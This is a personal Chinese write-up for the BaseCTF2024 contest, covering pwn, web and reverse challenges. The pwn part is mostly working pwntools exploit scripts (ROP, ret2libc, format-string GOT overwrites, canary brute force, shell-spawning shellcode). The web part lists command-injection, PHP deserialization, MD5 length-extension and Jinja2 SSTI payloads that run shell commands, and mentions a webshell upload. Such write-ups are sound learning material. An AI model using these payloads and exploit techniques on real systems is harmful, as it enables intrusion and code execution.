BaseCTF2024 个人WP

news2024/9/29 20:06:38

Pwn:

[Week1] 签个到吧:

直接nc,ls,cat flag

[Week1] echo:

只能使用echo命令

那就用echo *代替ls输出当前目录所有文件

用echo $(<flag)输出flag

[Week1] Ret2text:

简单的栈溢出

from pwn import*
p=process('./Ret2text')
p=remote('challenge.basectf.fun',33358)
backdoor=0x4011BB

payload=b'a'*0x28+p64(backdoor)
p.sendline(payload)
p.interactive()

[Week1] shellcode_level0:

简单的shellcode

from pwn import*
context(arch='amd64')
p=process('./shellcode')
p=remote('challenge.basectf.fun',28688)

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

[Week1] 我把她丢了:

64位函数参数传递

from pwn import*
context(arch='amd64')
p=process('./her')
p=remote('challenge.basectf.fun',20629)
system=0x40120F
binsh=0x402008
pop_rdi=0x0000000000401196
ret=0x000000000040101a

payload=b'a'*0x78+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

[Week1] 彻底失去她:

from pwn import*
p=process('./her')
p=remote('challenge.basectf.fun',28858)
pop_rdi=0x0000000000401196
pop_rdx=0x0000000000401265
pop_rsi=0x00000000004011ad
sh=0x0000000000402065
ret=0x000000000040101a
system=0x401080
read_plt=0x401090
bss=0x4040A0
elf=ELF('./her')
main=elf.sym['main']

payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(read_plt)+p64(main)
p.sendline(payload)
sleep(0.2)
p.sendline(b'/bin/sh')
payload=b'a'*(0xa+8)+p64(ret)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.interactive()

[Week2] format_string_level1:

感觉都很简单

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',48639)
target=0x4040B0

payload=b'aaaa%7$n'+p64(target)
p.sendline(payload)
p.interactive()

[Week2] 她与你皆失:

from pwn import*
p=process('./her')
p=remote('challenge.basectf.fun',36442)
pop_rdi=0x0000000000401176
pop_rsi=0x0000000000401178
pop_rdx=0x0000000000401221
ret=0x000000000040101a
puts_plt=0x401060
puts_got=0x404018
main=0x4011DF


payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0xa+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

[Week2] format_string_level0:

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',22035)

payload=b'%8$s'
p.sendline(payload)
p.interactive()
#10

[Week2] shellcode_level1:

from pwn import*
context(arch='amd64')
p=process('./shellcode')
p=remote('challenge.basectf.fun',47154)

def gdbs():
    gdb.attach(p)
    pause()

shellcode='''
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
#gdbs()
p.send(shellcode)
shellcode=b'\x00'*2+asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

[Week3] 你为什么不让我溢出:

from pwn import*
p=process('./overpwn')
p=remote('challenge.basectf.fun',33358)
backdoor=0x4011BE

payload=b'a'*0x68
p.sendlineafter(b'Hello Hacker!',payload)
p.recvline()
p.recvline()
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload=b'a'*(0x70-0x8)+p64(canary)+b'a'*0x8+p64(backdoor)
p.sendline(payload)
p.interactive()

[Week3] format_string_level2:

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',35702)
elf=ELF('./format')
read_got=elf.got['read']
printf_got=elf.got['printf']

def gdbs():
    gdb.attach(p)
    pause()

payload=b'aaaa%7$s'+p64(read_got)
p.send(payload)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=read_addr-libc.sym['read']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
gadget=[0xebc81]
onegadget=libcbase+gadget[0]
payload=b'%'+str(system&0xff).encode()+b'c%10$hhn'+b'%'+str((system>>8&0xffff)-(system&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(printf_got)+p64(printf_got+1)
p.sendline(payload)
p.interactive()
#6

[Week3] stack_in_stack:

from pwn import*
context(log_level='debug')
p=process('./stack')
p=remote('challenge.basectf.fun',38027)
elf=ELF('./stack')
leave_ret=0x00000000004012f2
secret=0x4011C6
main=0x401245
start=0x4010E0
ret=0x000000000040101a

def gdbs():
    gdb.attach(p)
    pause()

p.recvuntil(b'0x')
buf=int(b'0x'+p.recv(12),16)
payload=p64(secret)+p64(start)
payload=payload.ljust(0x30,b'\x90')
payload+=p64(buf-8)+p64(leave_ret)
p.send(payload)

p.recvuntil(b'You found the secret!')
puts_addr=int(p.recv(15),16)
print(hex(puts_addr))

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
p.recvuntil(b'0x')
buf=int(b'0x'+p.recv(12),16)
print(hex(buf))
payload=p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0x30,b'\x90')
payload+=p64(buf-8)+p64(leave_ret)
#gdbs()
p.send(payload)
p.interactive()

[Week3] PIE:

from pwn import*
p=process('./pie')
p=remote('challenge.basectf.fun',21887)

payload=b'a'*0x108+b'\x40\x5e'
p.send(payload)
libc_start_main=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
ret=libcbase+0x0000000000029139
pop_rdi=libcbase+0x000000000002a3e5
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()

[Week4] orz!:

from pwn import*
context(arch='amd64')
p=process('./orz')
p=remote('challenge.basectf.fun',46972)

def gdbs():
    gdb.attach(p)
    pause()

shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x1000,0x100,1,1,'rax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode+=shellcraft.exit()
shellcode=asm(shellcode)
p.sendline(shellcode)
p.interactive()

[Week4] format_string_level3:

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',23822)
elf=ELF('./format')
main=0x40121B
stack_fail=0x403320
puts_got=0x403318
read_got=0x403330
printf_got=0x403328

def gdbs():
    gdb.attach(p)
    pause()

payload=b'%'+str((main&0xff)).encode()+b'c%10$hhn'+b'%'+str((main>>8&0xffff)-(main&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(stack_fail)+p64(stack_fail+1)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
payload=b'aaaa%7$s'+p64(puts_got)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'%'+str((system&0xff)).encode()+b'c%10$hhn'+b'%'+str((system>>8&0xffff)-(system&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(printf_got)+p64(printf_got+1)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
payload=b'/bin/sh'
p.sendline(payload)
p.interactive()
#6

[Week4] 没有 canary 我要死了!:

from pwn import*
from ctypes import*
context(log_level='debug')
p=process('./canary')
p=remote('challenge.basectf.fun',21074)

def gdbs():
    gdb.attach(p)
    pause()

dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed=time.time()
dll.srand(int(seed))
canary=b'\x00'

for k in range(7):
    for i in range(0,256):
        p.sendlineafter(b'BaseCTF',str(dll.rand()%50))
        payload=b'a'*0x68+canary+i.to_bytes(1,'little')
        p.sendafter(b'welcome',payload)
        p.recvline()
        datas=p.recvline()
        if b'***' in datas:
            continue
        else:
            canary+=i.to_bytes(1,'little')
            break
canary=u64(canary.ljust(8,b'\x00'))
print("canary= "+hex(canary))
#gdbs()
p.sendlineafter(b'BaseCTF',str(dll.rand()%50))
payload=b'a'*0x68+p64(canary)+b'a'*0x8+b'\xae\x12'
p.sendafter(b'welcome',payload)

p.interactive()

[Week4] ezstack:

from pwn import*
p=process('./ezstack')
p=remote('challenge.basectf.fun',34973)
pop_rdi=0x00000000004006f3
pop_rbx_rbp_r12_r13_r14_r15=0x4006ea
magic=0x400658
offset=-0x30880
setvbuf_got=0x601020
gets_plt=0x4004F0
setvbuf_plt=0x400500
bss=0x601080


payload=b'a'*0x10+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(offset&0xffffffffffffffff)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(magic)
payload+=p64(pop_rdi)+p64(bss)+p64(gets_plt)
payload+=p64(pop_rdi)+p64(bss)+p64(setvbuf_plt)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

Web:

[Week1] A Dark Room:

直接看源代码,直接有flag

[Week1] HTTP 是什么呀:

这里要满足条件才能给flag,但是满足后直接在网页看不见

用bp

base64解码得flag

[Week1] 喵喵喵´•ﻌ•`:

[Week1] md5绕过欸:

若比较科学计数法绕过,强比较数组绕过

[Week1] upload:

传个一句话木马,用蚁剑连接就可以找到flag了

[Week1] Aura 酱的礼物:

payload:
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:32471/&gift=php://filter/read=convert.base64-encode/resource=flag.php

[Week2] 你听不到我的声音:

cmd=a=fl;b=ag;cp /$a$b /var/www/html/b.txt

[Week2] RCEisamazingwithspace:

空格过滤

cmd=tac${IFS}/flag

[Week2] ez_ser:

<?php
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$p=new web();
$p->kw=new re();
$p->kw->chu0=new pwn();
$p->kw->chu0->dusk='gods';
$p->kw->chu0->over=new Misc();
echo urlencode(serialize($p));
?>

[Week2] 所以你说你懂 MD5?:

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
apple[]=1&banana[]=2&appple=QNKCDZO&bananana=QLTHNDT&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=86d03cc0087099a697857dc510525a1f

[Week2] 数学大师:

直接用WP给的脚本

import requests
import re

req = requests.session()
url = "http://challenge.basectf.fun:35473/"

answer = 0
while True:
    response = req.post(url , data={"answer": answer})
    print(response.text)
    if "BaseCTF" in response.text:
        print(response.text)
        break
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, response.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))

 [Week3] ez_php_jail:

感觉WP讲得很好

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这

个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。

Jail[by.Happy=highlight_file(glob("/f*")[0]);

[Week3] 复读机:

SSTI模板注入,稍微记一下。

方法1:

#payload1:
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

#payload2:
% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

#payload3:
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

Reverse:

[Week1] You are good at IDA:

直接从IDA里面找flag的字符串

[Week1] UPX mini:

脱壳,然后base64解码

[Week1] ez_maze:

在shift+F12找到地图,走最短路径,把路径MD5编码

BaseCTF{131b7d6e60e8a34cb01801ae8de07efe}

[Week1] Ez Xor:

用动态调试找出result和key,根据异或规则,写出脚本解密

result=[  0x01, 0x09, 0x05, 0x25, 0x26, 0x2D, 0x0B, 0x1D, 0x24, 0x7A, 
  0x31, 0x20, 0x1E, 0x49, 0x3D, 0x67, 0x4D, 0x50, 0x08, 0x25, 
  0x2E, 0x6E, 0x05, 0x34, 0x22, 0x40, 0x3B, 0x25]

key=list("Xnp[kw^hzQeyTb|W\x7FcJ|fMye@vhC")

flag=''
for i in range(0,28):
    flag+=chr(result[i]^ord(key[27-i]))

print(flag)

[Week1] BasePlus:

先把密文异或0xe

然后base64换表,这里要注意,如果原始表是64位要补到65位

import base64
result='bxhtLgTgAy92bfH6jJAhKlcGSgNljmThKmPt0oJ/<'
biao=str.maketrans('/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=')
flag=base64.b64decode(result.translate(biao))
print(flag)

[Week2] UPX:

手脱upx壳然后base64换表

[Week2] 喝杯下午茶:

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>
#include <stdint.h>

void decrypt(unsigned int *v, unsigned int *k) {
	unsigned int v0=v[0],v1=v[1];
	int delta=1131796;
	int sum=delta*32;
	unsigned int k0 = k[0],k1 = k[1],k2 = k[2],k3 = k[3];
	for (int i = 0; i < 32; i++) {
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

int main() {
	int Buf2[10]={0x94B1F1E7,0x21D5D352,0x5247793D,0x40D1C97,0xF36E7F74,0x9C53F70F,0x6AEACFD8,0x6F9F06F4,0xEAFD9E2E,0x32B655F7};
	unsigned int key[] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11};
	
	char buf[50] = {0};
	memcpy(buf, Buf2, sizeof Buf2);
	
	for(int i=0;i<=8;i+=2)
	{
		decrypt((unsigned int *)&buf+i, key);
	}
	
	printf("%s", buf);
	
	return 0;
}

[Week2] Ezpy:

用pydumpck把exe转为pyc,补全魔术头。生成PY,key在输出的pyc文件里,也转成py

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10

import Key
import sys

def init_Sbox(seed):
    k_b = (lambda .0 = None: [ ord(seed[i % len(seed)]) for i in .0 ])(range(256))
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + k_b[i]) % 256
        s[i] = s[j]
        s[j] = s[i]
        return s


def KeyStream(text, Sbox):
    s = Sbox.copy()
    (i, j) = (0, 0)
    k = [
        0] * len(text)
    for r in range(len(text)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i] = s[j]
        s[j] = s[i]
        t = (s[i] + s[j]) % 256
        k[r] = s[t] ^ Key.keykey[r % len(Key.keykey)]
        return k


def Encrypt(text, seed):
    Sbox = init_Sbox(seed)
    key = KeyStream(text, Sbox)
    enc = (lambda .0 = None: [ text[i] ^ key[i] for i in .0 ])(range(len(text)))
    return bytes(enc)

enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
flag = input('Please input Your flag:')
flag = (lambda .0: [ ord(i) for i in .0 ])(flag)
flag = Encrypt(flag, Key.key)
if flag != enc:
    print("It's not flag!")
    continue
    print('You are right!')
    sys.exit(1)
    continue
    return None

解密

import sys

# 替换为实际的 Key 模块内容
class Key:
    key = 'yOU_f1nd_m3'  # 替换为实际的密钥
    keykey =[
    66,
    97,
    115,
    101]     # 替换为实际的密钥流

def init_Sbox(seed):
    k_b = [ord(seed[i % len(seed)]) for i in range(256)]
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + k_b[i]) % 256
        s[i], s[j] = s[j], s[i]  # Fixed swapping
    return s

def KeyStream(text, Sbox):
    s = Sbox.copy()
    i, j = 0, 0
    k = [0] * len(text)
    for r in range(len(text)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]  # Fixed swapping
        t = (s[i] + s[j]) % 256
        k[r] = s[t] ^ Key.keykey[r % len(Key.keykey)]
    return k

def Encrypt(text, seed):
    Sbox = init_Sbox(seed)
    key = KeyStream(text, Sbox)
    enc = [text[i] ^ key[i] for i in range(len(text))]
    return bytes(enc)

enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
flag = Encrypt(enc, Key.key)

print(flag)

[Week2] RivestCipher:

比较抽象,蒙出来的,RC4,找出密文和密钥解密就行。

[Week2] lk:

from z3 import*
k=[Int('k[%d]'%i)for i in range(21)]
s=Solver()
s.add(948 * k[20]
     + 887 * k[19]
     + 410 * k[18]
     + 978 * k[17]
     + 417 * k[16]
     + 908 * k[15]
     + 965 * k[14]
     + 987 * k[13]
     + 141 * k[12]
     + 257 * k[11]
     + 323 * k[10]
     + 931 * k[9]
     + 773 * k[8]
     + 851 * k[7]
     + 758 * k[6]
     + 891 * k[5]
     + 575 * k[4]
     + 616 * k[3]
     + 860 * k[2]
     + 283 * k[1] == 913686)
s.add(938 * k[20]
     + 490 * k[19]
     + 920 * k[18]
     + 50 * k[17]
     + 568 * k[16]
     + 68 * k[15]
     + 35 * k[14]
     + 708 * k[13]
     + 938 * k[12]
     + 718 * k[11]
     + 589 * k[10]
     + 954 * k[9]
     + 974 * k[8]
     + 62 * k[7]
     + 580 * k[6]
     + 80 * k[5]
     + 111 * k[4]
     + 151 * k[3]
     + 421 * k[2]
     + 148 * k[1] == 630335)
s.add(908 * k[20]
     + 590 * k[19]
     + 668 * k[18]
     + 222 * k[17]
     + 489 * k[16]
     + 335 * k[15]
     + 778 * k[14]
     + 622 * k[13]
     + 95 * k[12]
     + 920 * k[11]
     + 932 * k[10]
     + 892 * k[9]
     + 409 * k[8]
     + 392 * k[7]
     + 11 * k[6]
     + 113 * k[5]
     + 948 * k[4]
     + 674 * k[3]
     + 506 * k[2]
     + 182 * k[1] == 707525)
s.add(479 * k[20]
     + 859 * k[19]
     + 410 * k[18]
     + 399 * k[17]
     + 891 * k[16]
     + 266 * k[15]
     + 773 * k[14]
     + 624 * k[13]
     + 34 * k[12]
     + 479 * k[11]
     + 465 * k[10]
     + 728 * k[9]
     + 447 * k[8]
     + 427 * k[7]
     + 890 * k[6]
     + 570 * k[5]
     + 716 * k[4]
     + 180 * k[3]
     + 571 * k[2]
     + 707 * k[1] == 724203)
s.add(556 * k[20]
     + 798 * k[19]
     + 380 * k[18]
     + 716 * k[17]
     + 71 * k[16]
     + 901 * k[15]
     + 949 * k[14]
     + 304 * k[13]
     + 142 * k[12]
     + 679 * k[11]
     + 459 * k[10]
     + 814 * k[9]
     + 282 * k[8]
     + 49 * k[7]
     + 873 * k[6]
     + 169 * k[5]
     + 437 * k[4]
     + 199 * k[3]
     + 771 * k[2]
     + 807 * k[1] == 688899)
s.add(465 * k[20]
     + 898 * k[19]
     + 979 * k[18]
     + 198 * k[17]
     + 156 * k[16]
     + 831 * k[15]
     + 856 * k[14]
     + 322 * k[13]
     + 25 * k[12]
     + 35 * k[11]
     + 369 * k[10]
     + 917 * k[9]
     + 522 * k[8]
     + 654 * k[7]
     + 235 * k[6]
     + 385 * k[5]
     + 469 * k[4]
     + 231 * k[3]
     + 496 * k[2]
     + 83 * k[1] == 604784)
s.add(305 * k[20]
     + 928 * k[19]
     + 260 * k[18]
     + 793 * k[17]
     + 787 * k[16]
     + 708 * k[15]
     + 758 * k[14]
     + 236 * k[13]
     + 688 * k[12]
     + 747 * k[11]
     + 711 * k[10]
     + 195 * k[9]
     + 50 * k[8]
     + 648 * k[7]
     + 787 * k[6]
     + 376 * k[5]
     + 220 * k[4]
     + 33 * k[3]
     + 194 * k[2]
     + 585 * k[1] == 665485)
s.add(767 * k[20]
     + 573 * k[19]
     + 22 * k[18]
     + 909 * k[17]
     + 598 * k[16]
     + 588 * k[15]
     + 136 * k[14]
     + 848 * k[12]
     + 964 * k[11]
     + 311 * k[10]
     + 701 * k[9]
     + 653 * k[8]
     + 541 * k[7]
     + 443 * k[6]
     + 7 * k[5]
     + 976 * k[4]
     + 803 * k[3]
     + 273 * k[2]
     + 859 * k[1] == 727664)
s.add(776 * k[20]
     + 59 * k[19]
     + 507 * k[18]
     + 164 * k[17]
     + 397 * k[16]
     + 744 * k[15]
     + 377 * k[14]
     + 768 * k[13]
     + 456 * k[12]
     + 799 * k[11]
     + 9 * k[10]
     + 215 * k[9]
     + 365 * k[8]
     + 181 * k[7]
     + 634 * k[6]
     + 818 * k[5]
     + 81 * k[4]
     + 236 * k[3]
     + 883 * k[2]
     + 95 * k[1] == 572015)
s.add(873 * k[20]
     + 234 * k[19]
     + 381 * k[18]
     + 423 * k[17]
     + 960 * k[16]
     + 689 * k[15]
     + 617 * k[14]
     + 240 * k[13]
     + 933 * k[12]
     + 300 * k[11]
     + 998 * k[10]
     + 773 * k[9]
     + 484 * k[8]
     + 905 * k[7]
     + 806 * k[6]
     + 792 * k[5]
     + 606 * k[4]
     + 942 * k[3]
     + 422 * k[2]
     + 789 * k[1] == 875498)
s.add(766 * k[20]
     + 7 * k[19]
     + 283 * k[18]
     + 900 * k[17]
     + 211 * k[16]
     + 305 * k[15]
     + 343 * k[14]
     + 696 * k[13]
     + 590 * k[12]
     + 736 * k[11]
     + 817 * k[10]
     + 603 * k[9]
     + 414 * k[8]
     + 828 * k[7]
     + 114 * k[6]
     + 845 * k[5]
     + 175 * k[4]
     + 212 * k[3]
     + 898 * k[2]
     + 988 * k[1] == 714759)
s.add(220 * k[20]
     + 30 * k[19]
     + 788 * k[18]
     + 106 * k[17]
     + 574 * k[16]
     + 501 * k[15]
     + 366 * k[14]
     + 952 * k[13]
     + 121 * k[12]
     + 996 * k[11]
     + 735 * k[10]
     + 689 * k[9]
     + 998 * k[8]
     + 689 * k[7]
     + 729 * k[6]
     + 886 * k[5]
     + 860 * k[4]
     + 70 * k[3]
     + 466 * k[2]
     + 961 * k[1] == 778853)
s.add(313 * k[20]
     + 748 * k[19]
     + 522 * k[18]
     + 864 * k[17]
     + 156 * k[16]
     + 362 * k[15]
     + 283 * k[14]
     + 49 * k[13]
     + 316 * k[12]
     + 79 * k[11]
     + 136 * k[10]
     + 299 * k[9]
     + 271 * k[8]
     + 604 * k[7]
     + 907 * k[6]
     + 540 * k[5]
     + 141 * k[4]
     + 620 * k[3]
     + 701 * k[2]
     + 866 * k[1] == 584591)
s.add(922 * k[20]
     + 399 * k[19]
     + 425 * k[18]
     + 26 * k[17]
     + 159 * k[16]
     + 224 * k[15]
     + 438 * k[14]
     + 770 * k[13]
     + 144 * k[12]
     + 406 * k[11]
     + 110 * k[10]
     + 991 * k[9]
     + 749 * k[8]
     + 701 * k[7]
     + 646 * k[6]
     + 147 * k[5]
     + 979 * k[4]
     + 674 * k[3]
     + 999 * k[2]
     + 913 * k[1] == 717586)
s.add(13 * k[20]
     + 537 * k[19]
     + 225 * k[18]
     + 421 * k[17]
     + 153 * k[16]
     + 484 * k[15]
     + 654 * k[14]
     + 743 * k[13]
     + 779 * k[12]
     + 74 * k[11]
     + 325 * k[10]
     + 439 * k[9]
     + 797 * k[8]
     + 41 * k[7]
     + 784 * k[6]
     + 269 * k[5]
     + 454 * k[4]
     + 725 * k[2]
     + 164 * k[1] == 537823)
s.add(591 * k[20]
     + 210 * k[19]
     + 874 * k[18]
     + 204 * k[17]
     + 485 * k[16]
     + 42 * k[15]
     + 433 * k[14]
     + 176 * k[13]
     + 436 * k[12]
     + 634 * k[11]
     + 82 * k[10]
     + 978 * k[9]
     + 818 * k[8]
     + 683 * k[7]
     + 404 * k[6]
     + 562 * k[5]
     + 41 * k[4]
     + 789 * k[3]
     + 200 * k[2]
     + 220 * k[1] == 587367)
s.add(584 * k[20]
     + 597 * k[19]
     + 928 * k[18]
     + 532 * k[17]
     + 902 * k[16]
     + 858 * k[15]
     + 820 * k[14]
     + 240 * k[13]
     + 124 * k[12]
     + 899 * k[11]
     + 848 * k[10]
     + 822 * k[9]
     + 409 * k[8]
     + 491 * k[7]
     + 587 * k[6]
     + 715 * k[5]
     + 410 * k[4]
     + 268 * k[3]
     + 721 * k[2]
     + 915 * k[1] == 842245)
s.add(421 * k[20]
     + 302 * k[19]
     + 327 * k[18]
     + 180 * k[17]
     + 512*k[16]
     + 160 * k[15]
     + 623 * k[14]
     + 28 * k[13]
     + 411 * k[12]
     + 53 * k[11]
     + 633 * k[10]
     + 560 * k[9]
     + 623 * k[8]
     + 477 * k[7]
     + 901 * k[6]
     + 287 * k[5]
     + 149 * k[4]
     + 726 * k[3]
     + 934 * k[2]
     + 875 * k[1] == 610801)
s.add(838 * k[20]
     + 434 * k[19]
     + 792 * k[18]
     + 649 * k[17]
     + 462 * k[16]
     + 170 * k[15]
     + 980 * k[14]
     + 15 * k[13]
     + 295 * k[12]
     + 495 * k[11]
     + 666 * k[10]
     + 934 * k[9]
     + 17 * k[8]
     + 69 * k[7]
     + 367 * k[6]
     + 780 * k[5]
     + 291 * k[4]
     + 834 * k[3]
     + 587 * k[2]
     + 133 * k[1] == 653127)
s.add(41 * k[20]
     + 422 * k[19]
     + 420 * k[18]
     + 224 * k[17]
     + 475 * k[16]
     + 854 * k[15]
     + 233 * k[14]
     + 179 * k[13]
     + 620 * k[12]
     + 69 * k[11]
     + 42 * k[10]
     + 684 * k[9]
     + 300 * k[8]
     + 745 * k[7]
     + 894 * k[6]
     + 554 * k[5]
     + 495 * k[4]
     + 66 * k[3]
     + 316 * k[2]
     + 391 * k[1] == 533470)
if s.check()==sat:
    ans=s.model()
    for i in range(1,21):
        print(chr(ans[k[i]].as_long()),end='')

[Week2] 最简单的编码:

只能用脚本解,减去对应的key

table = "CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89"
